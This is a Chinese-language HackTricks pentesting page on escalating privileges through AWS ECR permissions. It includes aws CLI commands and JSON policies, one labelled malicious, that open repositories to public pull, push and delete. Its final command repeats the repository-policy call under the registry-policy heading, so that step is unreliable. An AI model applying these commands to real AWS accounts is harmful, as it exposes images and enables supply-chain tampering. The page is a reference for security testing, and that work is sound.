AWS - ECR Privesc

支持 HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

拥有 ecr:GetAuthorizationTokenecr:BatchGetImage 权限的攻击者可以登录到 ECR 并下载镜像。

有关如何下载镜像的更多信息:

AWS - ECR Post Exploitation

潜在影响: 通过拦截流量中的敏感信息间接提权。

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

拥有所有这些权限的攻击者可以登录到 ECR 并上传镜像。这可以用于提升权限以访问正在使用这些镜像的其他环境。

要了解如何上传新镜像/更新镜像,请查看:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

与前一部分类似,但适用于公共存储库。

ecr:SetRepositoryPolicy

拥有此权限的攻击者可以更改存储库策略以授予自己(甚至所有人)读/写访问权限。 例如,在此示例中,向所有人授予了读取访问权限。

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

my-policy.json文件的内容:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "ecr:GetDownloadUrlForLayer",
                "ecr:BatchGetImage"
            ],
            "Resource": "*"
        }
    ]
}
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

与上一节类似,但针对公共存储库。 攻击者可以修改 ECR 公共存储库的存储库策略,以授予未经授权的公共访问权限或提升其特权级别。

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

潜在影响:未经授权的公开访问到 ECR 公共存储库,允许任何用户推送、拉取或删除镜像。

ecr:PutRegistryPolicy

拥有此权限的攻击者可以更改注册表策略,以授予自己、其帐户(甚至所有人)读/写访问权限

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
支持 HackTricks

Last updated